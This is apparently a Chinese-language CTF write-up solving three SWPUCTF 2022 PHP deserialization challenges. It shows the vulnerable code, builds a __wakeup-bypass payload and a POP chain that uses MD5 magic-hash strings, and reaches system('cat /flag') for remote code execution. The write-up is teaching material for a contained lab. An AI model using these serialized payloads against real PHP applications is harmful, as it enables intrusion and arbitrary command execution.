[SWPUCTF 2022 新生赛]ez_1zpop(php反序列化之pop链构造)

[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;  
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__; 
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php    flag在fllllllag.php文件里
    }
}
if (isset($_REQUEST['x'])) {        
    @unserialize($_REQUEST['x']);    //将x反序列化输出
} else {
    highlight_file(__FILE__);
}

因为flag在fllllllag.php文件里，所以要让fllllllag.php文件在x中，让x等于这个文件的序列化

对x进行序列化操作：

<?php
class X
{
    public $x ='fllllllag.php'; 	
}
$a=new X();
echo serialize($a);
?>

//输出：O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

绕过__wakeup()函数，构造payload：得到flag

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

__wakeup()函数漏洞原理：

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

[SWPUCTF 2022 新生赛]1z_unserialize

<?php

//包含了一个名为lyh的类，该类有公共属性：url、lt和lly 
class lyh{            
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()       //魔术方法__destruct()，在对象被销毁时调用
     {
        $a = $this->lt;          
        //尝试执行一个由$this->lt引用的函数，并将$this->lly作为参数传递给该函数。    
        $a($this->lly);           
     }
    
    
}
unserialize($_POST['nss']);       //从POST请求中的nss参数读取序列化的数据，并进行反序列化操作
highlight_file(__FILE__);
 
?>

赋值执行RCE：

直接将 $a 赋值为 system ，即将 $this->lt 赋值为 system ，那么 $this->lly 就可以赋值任意命令执行RCE。

将$this->lly赋值成ls /查看根目录，POST传参nss发现存在flag文件。

将$this->lly赋值成cat /flag读取flag。

<?php
class lyh
{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat /flag";
 
}
$a=new lyh();
echo serialize($a);
?>

//输出：O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

php反序列化之pop链构造

做pop类题目要紧盯魔术方法。

需要找到普通类与魔术方法之间的联系，理出一种逻辑思路，通过这种逻辑思路来构造一条pop链，从而达到攻击的目的。

在构造调用链时，先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方，而尾部一般都是可以执行恶意代码的地方。

[SWPUCTF 2022 新生赛]ez_1zpop

代码审计

<?php
error_reporting(0);
class dxg                      //定义类dxg,其中只有一个方法fmm()
{
   function fmm()             
   {
      return "nonono";
   }
}

class lt                        //定义类lt，包含公共属性impo、md51、md52
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()       //__construct()类的构造函数，创建对象时触发 
   {
      $this->impo = new dxg;    //实例化了dxg类的对象并赋值给impo属性
   }
   function __wakeup()          //__wakeup()方法在反序列化对象时被调用
   {
      $this->impo = new dxg;    //也实例化了dxg类的对象，并返回fmm()方法的结果
      return $this->impo->fmm();
   }

   function __toString()        //__toString()把对象当成字符串调用时触发
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm(); //返回impo属性的fmm()方法的结果
   }
   function __destruct()        //__destruct()方法在对象销毁前被调用，它会调用__toString()方法并输出结果。 
   {
      echo $this;
   }
}

class fin                        //定义类fin，包含公共属性a和一个方法fmm()
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;            //fmm()方法调用了属性a所指向的函数，并将属性title作为参数传递。
      $b($this->title);  
   }
}

if (isset($_GET['NSS'])) {     //检查是否存在$_GET['NSS']参数，存在，对NSS进行反序列化
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

如果$this->impo 已设置，并且 $this->md51 = $this->md52 的 MD5 哈希值，同时 $this->md51 和 $this->md52 值不相等。就会调用 $this->impo->fmm() 方法。

function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }

0e绕过MD5弱比较：

令md51='s155964671a'; md52='s214587387a';

构造pop链：先把用到的类写出来，形成一个框架，然后补充类中的变量，再将用到的类进行实例化。

<?php
class lt
{
   #设置 $this->md51 = $this->md52 的 MD5 哈希值
   public $impo='hi';
   public $md51='s155964671a';
   public $md52='s214587387a';
}
class fin
{
   #赋值执行RCE:$a="system",$title="cat /flag"
   public $a='system';
   public $url = 'https://www.ctfer.vip';
   public $title='cat /flag';
}
#实例化类
$lt = new lt();
$fin = new fin();
#链子
$lt->impo=$fin;
echo serialize($lt);
?>

//输出：O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

得到输出后，记得绕过wakeup()，GTE传参NSS构造payload：得到flag

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}